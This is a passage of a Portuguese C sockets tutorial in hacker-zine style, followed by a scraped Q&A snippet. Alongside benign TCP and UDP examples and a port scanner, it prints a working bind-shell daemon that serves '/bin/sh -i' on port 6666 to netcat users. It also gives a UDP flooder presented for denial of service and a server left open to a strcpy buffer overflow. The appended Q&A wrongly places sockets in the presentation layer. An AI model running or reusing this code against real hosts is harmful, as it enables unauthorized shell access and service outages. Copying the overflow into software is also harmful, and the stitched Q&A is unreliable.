para nosso servidor papel dele é simples ele pega entrada do usuario e manda para o servidor e continua na conexão enquando não digitar "exit" ---------------------------------- CODE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <sys/wait.h> #define PORTA 6666 #define ERRO -1 #define TAMMAX 250 //tamanho maximo da string main (int argc, char * * argv) { struct sockaddr_in network; int sock, newSock, resp, strucsize; char msg [TAMMAX]; if (argc < 2) { printf ("Use %s <host>\n\n", argv [0]); exit (0); } sock = socket (AF_INET, SOCK_STREAM, 0); if (sock == ERRO) { perror ("Socket"); exit (0); } bzero ((char *)&network, sizeof (network)); network.sin_family = AF_INET; network.sin_port = htons (PORTA); network.sin_addr.s_addr = inet_addr (argv [1]); strucsize = sizeof (network); resp = connect (sock, (struct sockaddr *)&network, strucsize); if (resp == ERRO) { perror ("Connect"); exit (0); } fprintf (stdout, "Conectado em %s\n", argv [1]); for (;;) { printf ("\nMensagem: "); fgets(msg, sizeof(msg), stdin); msg[strlen(msg)-1] = '\0'; send (sock, msg, sizeof (msg), 0); if (!strcmp (msg, "exit")) { exit (0); } } } ---------------------------------- EOF Rode servidor num terminal , e abra dois terminais e rode ./client ip_do_server mande mensagem pelos os dois e veja por si o servidor rolando no terminal em que você executou ele. as dúvidas geralmente vão com a prática então não fique triste se não rolar apenas não desista,Se ajudar baixe uma musica ai do Raul Seixas chamada "tente outra vez" ,sempre que estou desanimado escuto esta musica abro o GDB e depuro o código leio um bom livro como Ansi C do K&R,dragon book entre outros ai, entrar no IRC e conversar com alguem que tem mais experiência também ajuda. ---------------------------------------------------------------------- +08 Servidor de comandos e Scanner de portas ---------------------------------------------------------------------- voltando aos exemplo de TCP com socket, um servidor de comandos não chega a ser um SSH nem tem senha mais ajuda a entender vamos lá, mais um exemplo com fork... ---------------------------------- CODE /* GarageCode coolest things Hehehe //GarageCode.tk *Function this programm this simple Daemon Shell in C language with fork *tested with GCC i wheel on Unix/Linux/BSD this: gcc -o program program.c; ./program Author: "Cooler_" contact: or license: GPL2 visit this site: //BotecoUnix.com.br Real Geeks BotecoUnix greetz Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug. ,. |\ /| today we dominate the world!! | \\ _ ///__ // | What i do Brain ? _ _ | \\/_______\// | /~\\ //~\ | Y | | ||Y | | \\ // | | \| | |/ | [ || || ] \ | o|o || / ] Y || || Y [ \__ \_--_ /___/ | \_|l,------.l|_/ | /.-\(____) /--.\ | >' `< | `--(______)----' \ (/~`-^____^-'~\) / U// U / \ `-_>-_(@)__(@)_-<_-' / \ / / | / (__) \ ( .) / / / \___/__\___/ `.`' / \ ART and CODE by Cooler_ /__`--'__\ |`-' | /\(__,>-~~ __) | |__ /\//\\( `--~~ ) _l |--:. '\/ <^\ /^> | ` ( < \\ _\ >-__-< /_ ,-\ ,-~~->. \ `:.___,/ (___\ /___) (____/ (____) `---' */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #define LISTENQ 1 // listen() backlog int main (int argc, char *argv[]) { int lsocket ; //listen() int csocket ; // connect() struct sockaddr_in laddr ; // estrutura do daemon struct sockaddr_in caddr ; socklen_t len ; // pid do fork pid_t pid ; if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket error"); return(10); } len = sizeof(laddr) ; memset(&laddr, 0, len) ; laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; laddr.sin_family = AF_INET ; laddr.sin_port = htons(6666) ; if((bind(lsocket, (const struct sockaddr *)&laddr, len))) { perror("bind error"); return(10); } if(listen(lsocket, LISTENQ)) { perror("listen error"); return(10); } // nosso fork if ((pid=fork()) == -1) { perror("Fork #1"); return(20); } if (pid > 0) exit(0); setsid() ; len = sizeof(caddr); if((csocket=accept(lsocket, (struct sockaddr *)&caddr, &len)) < 0) { perror("socket accept"); abort(); } dup2(csocket,0); dup2(csocket,1); dup2(csocket,2); system("/bin/sh -i"); exit(0); } ---------------------------------- EOF testando no server gcc code code.c; ./code no cliente "usamos o famoso netcat para entrar no servidor" "nc ip_servidor 6666" BINGO! ultimo exemplo de socket, um port scanner feito pelo "m0nad" ---------------------------------- CODE /*simples tcp connect scanner por m0nad [at] email.com */ #include <stdio.h> #include <stdlib.h> #include <netdb.h> //#include <sys/socket.h> void erro (char *msg) { perror(msg); exit (1); } void uso (char *prog) { printf ("%s ip_alvo\n", prog); exit (1); } void inicia_alvo (struct sockaddr_in *nome, int port, char *host) { nome->sin_family = AF_INET; nome->sin_port = htons (port); nome->sin_addr.s_addr = inet_addr(host); } int main (int argc, char **argv) { int sockfd, i, conex; struct sockaddr_in alvo; if (argc < 2) uso(*argv); for (i = 1; i < 65535; i++) { sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if ( sockfd < 0 ) error("SOCKET:"); inicia_alvo (&alvo, i, argv[1]); conex = connect (sockfd, (struct sockaddr *)&alvo, sizeof alvo); if ( conex == 0 ) printf ("porta %d aberta\n", i); close (conex); close (sockfd); } } ---------------------------------- EOF acabamos com o clichê de estudo de sockets com este ultimo exemplo de STREAM vamos ver apenas mais uns assuntos importantes antes de ir para DGRAM,UDP! ---------------------------------------------------------------------- +09 Simple socket library ---------------------------------------------------------------------- Se você quer fazer simples servidores e clientes com sockets para enviar mensagens, fazer portscans simples você pode desfrutar da biblioteca "Simple socket library" vide aqui //mysite.verizon.net/astronaut/ssl/ veja como é facil fazer um servidor e cliente; A) O Server #include "sockets.h" Socket *srvr; Socket *skt; srvr= Sopen("srvrname","s"); /* abrindo server e chamando "srvrname" */ skt = Saccept(srvr); /* aceitando cliente */ Sputs("hello client",skt); /* mandando string para o cliente */ Sclose(skt); /* fechando a conexão aceita */ Sclose(srvr); /* fecha o server */ B) O Cliente #include "sockets.h" char buf[BUFSIZE]; Socket *client; client= Sopen("srvrname","c"); /* abrindo cliente "srvrname"*/ Sgets(buf,BUFSIZE,client); /* pega string do server */ printf("server said <%s>\n",buf);/* mostra q o server mandou */ Sclose(client); /* fecha socket */ Download: //mysite.verizon.net/astronaut/ssl/ssl-7.tar.bz2 vide sua documentação //mysite.verizon.net/astronaut/ssl/sockets.ps Claro que tem outras bibliotecas pelo mundo a fora,até no underground para trabalhar com sockets para facilitar sua vida,isso ai mata o dragão que muitos estavam com medo... "UNIX é basicamente um simples sistema operacional, mas você tem que ser um gênio para compreender a simplicidade." Dennis Ritchie ---------------------------------------------------------------------- +10 Explanação ao UDP e exemplo de Servidor e cliente ---------------------------------------------------------------------- O User Datagram Protocol (UDP) é um protocolo simples da camada de transporte. Ele é descrito na RFC 768 e permite que a aplicação escreva um datagrama encapsulado num pacote IPv4 ou IPv6, e então enviado ao destino. Mas não há qualquer tipo de garantia que o pacote irá chegar ou não. O protocolo UDP não é confiável. Caso garantias sejam necessárias, é preciso implementar uma série de estruturas de controle, tais como timeouts, retransmissões, acknowlegments, controle de fluxo, etc. Cada datagrama UDP tem um tamanho e pode ser considerado como um registro indivisível, diferentemente do TCP, que é um protocolo orientado a fluxos de bytes sem início e sem fim. vou ilustrar Cabecalho UDP +-----------------------+-----------------------+ | Porta de origem | Porta de destino | \ | (16 bits) | (16 bits) | \ +-----------------------+-----------------------+ -- 8 bytes | Tamanho | Checksum | / | (16 bits) | (16 bits) | / +-----------------------+-----------------------+ | | \ < Dados > -- Max. 65507 bytes | (...) | / (teoricamente) +-----------------------------------------------+ vamos exemplos com linhas comentadas chega de teoria e vamos a prática,vamos fazer um servidor ---------------------------------- CODE #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> #define LOCAL_SERVER_PORT 6666 #define MAX_MSG 100 int main(int argc, char *argv[]) { int sd, rc, n, cliLen; struct sockaddr_in cliAddr, servAddr; char msg[MAX_MSG]; // criamos o socket usando SOCK_DGRAM para UDP sd=socket(AF_INET, SOCK_DGRAM, 0); if(sd<0) { printf("%s: cannot open socket \n",argv[0]); exit(1); } // bind no local servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = htonl(INADDR_ANY); servAddr.sin_port = htons(LOCAL_SERVER_PORT); rc = bind (sd, (struct sockaddr *) &servAddr,sizeof(servAddr)); if(rc<0) { printf("%s: cannot bind port number %d \n", argv[0], LOCAL_SERVER_PORT); exit(1); } printf("%s: waiting for data on port UDP %u\n", argv[0],LOCAL_SERVER_PORT); // loop infinito pra escuta while(1) { // buffer memset(msg,0x0,MAX_MSG); // separando dados cliLen = sizeof(cliAddr); n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) &cliAddr, &cliLen); if(n<0) { printf("%s: cannot receive data \n",argv[0]); continue; } //mostrando dados printf("%s: from %s:UDP%u : %s \n", argv[0],inet_ntoa(cliAddr.sin_addr), ntohs(cliAddr.sin_port),msg); } return 0; } ---------------------------------- EOF agora vamos ao cliente para o mesmo ---------------------------------- CODE #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/time.h> #define REMOTE_SERVER_PORT 6666 #define MAX_MSG 100 int main(int argc, char *argv[]) { int sd, rc, i; struct sockaddr_in cliAddr, remoteServAddr; struct hostent *h; // checamos o argumento if(argc<3) { printf("usage : %s <server> <data1> ... <dataN> \n", argv[0]); exit(1); } // verificamos o Host h = gethostbyname(argv[1]); if(h==NULL) { printf("%s: unknown host '%s' \n", argv[0], argv[1]); exit(1); } printf("%s: sending data to '%s' (IP : %s) \n", argv[0], h->h_name, inet_ntoa(*(struct in_addr *)h->h_addr_list[0])); remoteServAddr.sin_family = h->h_addrtype; memcpy((char *) &remoteServAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); remoteServAddr.sin_port = htons(REMOTE_SERVER_PORT); // criamos nossa socket repare só o SOCK_DGRAM isso por que vamos usar UDP sd = socket(AF_INET,SOCK_DGRAM,0); if(sd<0) { printf("%s: cannot open socket \n",argv[0]); exit(1); } // bind na porta cliAddr.sin_family = AF_INET; cliAddr.sin_addr.s_addr = htonl(INADDR_ANY); cliAddr.sin_port = htons(0); rc = bind(sd, (struct sockaddr *) &cliAddr, sizeof(cliAddr)); if(rc<0) { printf("%s: cannot bind port\n", argv[0]); exit(1); } // mandamos os dados for(i=2;i<argc;i++) { rc = sendto(sd, argv[i], strlen(argv[i])+1, 0, (struct sockaddr *) &remoteServAddr, sizeof(remoteServAddr)); if(rc<0) { printf("%s: cannot send data %d \n",argv[0],i-1); close(sd); exit(1); } } return 1; } ---------------------------------- EOF rode os dois programas um em cada terminal veja o funcionamento tente intender o que esta ocorrendo,não é muito dificil já que o mesmo esta comentado linha por linha... ---------------------------------------------------------------------- +11 Exemplo UDP Flood ---------------------------------------------------------------------- Bom UDP flood seria Denial of Service ou DoS é um ataque de negação de serviço. Basicamente é quando você sobrecarrega uma determinada rede a ponto de que ela se torne inacessível, ou seja você iria derrubar esta rede. Você pode floodar com pacotes SYN,UDP,ACK... uma determinada porta a fim de derrubar a rede. no nosso caso vamos usar UDP,no IRC o público underground fala pacotar servidor X,assim evita falar "vamos floodar para derrubar tal servidor",tem outras girias como "picar o rodo já que não deu nada",pessoal faz muito isso é pago para fazer um serviço não conseguiu fazer nenhum estrago, então simplesmente derruba o host Lembrando ai que ataques UDP já tem muitos routers que tem proteção para o mesmo IPtables do Linux tem uma configuração para fazer isso o packet filter dos *BSD também não é muito dificil,qualquer firewall da block neste tipo de ataque desde que seja configurado... vamos ao exemplo,esta com linhas comentadas ---------------------------------- CODE /* GarageCode coolest things Hehehe //GarageCode.tk *Function this programm this is a UDP flooder,i make it to study Sockets *tested with GCC i wheel on Unix/Linux/BSD this: gcc -o program program.c; ./program host port Author: "Cooler_" contact: or license: GPL2 visit this site: //BotecoUnix.com.br Real Geeks BotecoUnix greetz Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug. ,;~;, /\_ ( / (()| //) | \\ ,,;;'\ GAME OVER __ _( )m=(((((((((((((================-------- /' ' '()/~' '.(, | ,;( )|| | ~ ,;' \ /-(.;, )) ) / / ) // // \\ ||| )_\ )_\ )_\\ */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <stdarg.h> #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #define STRING "ola" #define SIZE 50 int conecta(char *, short); int conecta(char *server, short port) { struct sockaddr_in sin; struct hostent *host; int sock; host = gethostbyname(server); if (host==NULL) { printf(" host: %s invalido\n",server); exit(0); } printf(" --> pacotando %s:%d\n ", server, port); // setamos tudo para zero velho clichê blabla bzero((char*) &sin,sizeof(sin)); bcopy(host->h_addr, (char *) &sin.sin_addr, host->h_length); sin.sin_family = host->h_addrtype; sin.sin_port = htons(port); // olhe nosso dgram sock = socket(AF_INET, SOCK_DGRAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); return sock; } main(int argc, char **argv) { int var; if(argc != 3) { fprintf(stderr, "\nUDP Flooder by Cooler_\nSiga o exemplo: %s host port\n",argv[0]); exit(0); } var=conecta(argv[1], atoi(argv[2])); //loop infinito for(;;) { // passamos a palavra a floodar e o seu tamanho send(var, STRING, SIZE, 0); } } ---------------------------------- EOF bom o assunto de UDP fica por aqui,praticamente acabou nossa aventura. ---------------------------------------------------------------------- +12 Conclusão ---------------------------------------------------------------------- Caros leitores passamos por STREAM e DGRAM as socket mais usadas popularmente além de ter uma torrente de exemplos neste "paper",também passei vários links de bibliotecas para facilitar certas tarefas não deixe de estuda-las pois estas bibliotecas mostradas fazem a diferença. Eu sei que ficou faltando muito material como ICMP e RAW Sockets,mas vamos deixar isso para o próxima odisséia. bom estude os manuais do seu sistema "man socket" aproveite que o sistema tem o código aberto caso use BSD,Linux,OpenSolaris para estudar os internals,converse no IRC com bons programadores crie você mesmo seu caminho, em Português você vai encontrar pouco material sobre o mesmo e se achar vai ser redundante. *caso queira estudar raw sockets //www.thebugmagazine.org/magazine/bug02/0x06_raw.txt //packetstormsecurity.nl/programming-tutorials/raw_socket.txt Boa Sorte !! ---------------------------------------------------------------------- +13 Bibliografia ---------------------------------------------------------------------- //www.br-c.org/ //beej.us/guide/ ---------------------------------------------------------------------- +14 Agradecimentos ---------------------------------------------------------------------- ----> Pessoal do "BugSec" grupo que faço parte! ,, ,, ((((( ))))) (((((( )))))) (((((( Overflow )))))) (((((,e@@@@@@@@@@e,))))) (((@@@@@@@@@@@@@@@@))) \@@/,:::,\/,:::,\@@/ /@@@|:::::||:::::|@@@\ / @@@\':::'/\':::'/@@@ \ / /@@@@@@@//\\@@@@@@@\ \ ( / '@@@@@@@@@@@@@@' \ ) \( / \ )/ \ ( ) / ('-.)' [Ruby](`'.) ' \ / ('-.)' (`'.)[ASM] '('-.)' . ' . ('-.)' (`'.) '('-.)' (`'.) ' ' .( '.) '[Flex+bison]('-.)' (`'.) '('-.)' (`'.) ' _ ('-.)' (`'.) '('-.)' (`'.) '('-.)'[Emacs] (`'.) (`'.) '' |0|=======- -(. ')`[VIM]( .-`)(`'.) ',(-')'('-.)' (`'.) (`'.) ' .--`+'--. . (' -,).(') .('-.)' (`'.) '('-.)' (`'.)(`'.) [Python]' ' |`-----'| (' .) - ('. )[Perl]('-.)' (`'.) '('-.)' (`'.) '(`'.) ' | | . ('[PHP] `. )('-.)' (`'.)[REGEX] '('-.)' (`'.) ' | === | ` . `('-.)'[C/C++] (`'.) ('-.)' (`'.) '' |BugSec | ('-.)' (`'.) '('-.)[AWK]' (`'.) ' | --- | | | Art by Cooler_ | GDB | | | `-.___.-' *m0nad grande amigo e por ter me ajudado a escrever a parte de TCP e term feito um scanner de portas e sempre estar me ajudando no estudo da linguagem C *_Mlk_ grande amigo me ajuda sempre domina muito SQL injection,me dá dicas para xavecar mulheres bonitas *IAK grande amigo me ajuda sempre mestre do C/C++ ----> Diversos voidpointer , edenc , ecl , isis, Cs0, muzgo , zepplin , nibbles , coracaodeleao, 6_Bl4ck9_f0x6 , d3lf0 ,f0kerDebug,Joey, Otacon_x86 , BackBone e deadside. pessoal do BotecoUnix.com.br e compania pessoal dos canais #c4ll,#c-br,#openbsd-br,#gentoo-br da freenode .-, .-..-.__ __ .'(`.-` \_.-'-./` |\_( "\__ __.>\ '; _;---,._| / __/`'--) /.--. : |/' _.--.<| / | | Homenagem Especial ao Dr4k3 _..-' `\ /' /` /_/ _/_/ grande Amigo desconectado em 2008 >_.-``-. `Y /' _;---.`|/)))) =================================== '` .-''. \|: \.' __, .-'"` .'--._ `-: \/: /' '.\ _|_ /.'`\ :; /' `- `-|-` -` | | | :.; : | .-'~^~`-. |: | .' _ _ `. |:. | | |_) | |_) | :. : | | | \ | | | .. : ;| | Dr4k3 | -."-/\\\/:::. `\."-._'."-"_\\-| 06-08 |///."- " -."-.\\"-."//.-".`-."_\\-.".-\\`=.........=`//-". ------------------------------------------------------------------------------------------ Saudades dos velhos tempos em que ficava no sofa sem me preocupar com nada jogando Mega Driver jogos como Sonic,splatterhouse,street of rage e golden axe. ligava a TV pela manhã via desenhos como thundercats,magaiver,giraia,tartarugas ninja,he-man, swatkats,cdz,loney tunes.depois do almoço via filmes como de volta para o futuro,um morto muito louco,bill e teddy,noite alucinante,contos da cripta depois soltava pipa,jogava bolinhas de gude jogava num arcade perto de casa alguns jogos antigos e pinball em fim era muito feliz me divertia com pouco, ó velhos tempos puros que nunca voltaram. hoje to ai na atividade estudando compartilhando o pouco que sei de programação... reclamações, perguntas,oportunidades de emprego para min,freelancer,doações... Contato: me siga no twitter e seja feliz! //twitter.com/unixwarrior =========================================================================================== 15 codigos externos... lembra o programa que testei o fuzzer ai esta ele ---------------------------------- CODE servidor vulnerável #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 // Tamanho do buffer de recebimento #define BACKLOG 5 // Número de conexões na fila do servidor /* Protótipos de funções */ /* Funções de processamento da mensagem recebida */ void process(char *buffer); /* Função de saída em caso de erro */ void quit_with_error(char * error_message); /* Rotina para fechamento das conexões e liberação dos sockets */ void cleanup(int socket_descriptor, int incoming_socket); /* Ponto de entrada do programa */ int main(int argc, char *argv[]) { /* Descritor do socket servidor */ int socket_descriptor = -1; /* Buffer de recebimento */ char buffer[BUFFER_SIZE]; /* Descritor do socket de conexão com cliente */ int incoming_socket; /* Registro para armazenar endereço do servidor */ struct sockaddr_in my_address; /* Registro para armazenar endereço do cliente */ struct sockaddr_in their_address; /* Porta em que o servidor irá escutar */ int server_port = 0; /* Inteiro para armazenar o número de btyes recebidos a cada chamada de read(2) */ int message_length; /* Flag utilizada para ligar o reuso da porta do servidor */ int i_want_reusable_ports = 1; /* Inteiro utilizado para armazenar o tamanho da estrutura sockaddr */ int length; /* Inteiro utilizado para indexar o buffer de recebimento */ int index; /* Checagem de parámetros do servidor */ if (argc!=2) { fprintf(stderr,"Sinopse: %s <porta>\n", argv[0]); exit(1); } /* Obtenção da porta a partir da linha de comando */ server_port = atoi(argv[1]); /* Criação de um socket TCP */ socket_descriptor = socket(AF_INET, SOCK_STREAM, 0); /* Checagem da criação do socket TCP */ if (socket_descriptor < 0) { cleanup(socket_descriptor, incoming_socket); quit_with_error("Não foi possível abrir socket TCP.\n"); } /* Ligação do reuso na porta utilizada pelo socket */ if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1) { cleanup(socket_descriptor, incoming_socket); quit_with_error("Não foi possível tornar a porta do socket reusável.\n"); } /* Montagem do registro que armazena o endereço da máquina executando o servidor */ my_address.sin_family = AF_INET; my_address.sin_port = htons(server_port); my_address.sin_addr.s_addr = INADDR_ANY; memset(&(my_address.sin_zero), '0', 8); /* Alocação da porta fornecida para o socket servidor */ if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) { cleanup(socket_descriptor, incoming_socket); quit_with_error("Não foi possível alocar porta para o socket.\n"); } /* Socket em modo de escuta */ if (listen(socket_descriptor, BACKLOG) == -1) { cleanup(socket_descriptor, incoming_socket); quit_with_error("Não foi possível colocar o socket em modo de escuta\n."); } length = sizeof(my_address); printf("Servidor vulnerável iniciado e em escuta...\n"); /* Laço infinito em que o servidor receberá requisições */ while (1) { /* Buffer de recebimento é zerado a cada nova conexão */ for (index = 0; index < BUFFER_SIZE; index++) buffer[index] = '\0'; /* Estabelecimento de conexão com o cliente */ if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) { cleanup(socket_descriptor, incoming_socket); quit_with_error("Não foi possível aceitar conexão.\n"); } /* Impressão de texto de depuração */ printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket); printf("Conexão a partir de %s...\n", inet_ntoa(their_address.sin_addr)); send(incoming_socket, "Bem-vindo ao servidor vulnerável. Comporte-se...\n", 49, 0); index = 0; /* Leitura de mensagem enviada pelo cliente conectado */ while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) { index += message_length; if (buffer[index - 1] == '\0') break; } /* Impressão de texto de depuração */ printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket); printf("Mensagem recebida: %s\n", buffer); /* Chamada da função de processamento da mensagem recebida */ process(buffer); /* Fechamento da conexão com o cliente */ close(incoming_socket); } /* Liberação do socket servidor */ cleanup(socket_descriptor, incoming_socket); return 0; } /* Processamento da mensagem do cliente. Apenas efetua cópia da string para buffer local, que poderá ser utilizado por outra thread de execução */ void process(char *buffer) { char local_buffer[1024]; strcpy(local_buffer, buffer); } void quit_with_error(char * error_message) { fprintf(stderr, "%s", error_message); exit(1); } void cleanup(int socket_descriptor, int incoming_socket) { if (socket_descriptor != -1) { close(socket_descriptor); close(incoming_socket); } } ---------------------------------- EOF

O que são sockets em programação?

O que são sockets? Socket ou soquete é apenas um conceito ou uma abstração. O termo socket é utilizado para representar um ponto de conexão para uma rede de computadores que utiliza o protocolo TCP/IP. Quando dois computadores necessitam manter uma comunicação, cada um deles utiliza um socket.

Quando utilizamos uma interface de socket em um programa em qual is camada S e qual is protocolo s estamos trabalhando?

Resposta: Camada de Apresentação e Transporte – protocolos Socket, TCP / UDP; Explicação: Pois quando utilizamos sockets precisamos declarar se utilizaremos TCP ou UDP, que corresponde a camada de transporte e nós utilizamos o socket em aplicações, o que é uma camada pertencente a camada de apresentação.

Toplist

Última postagem

Tag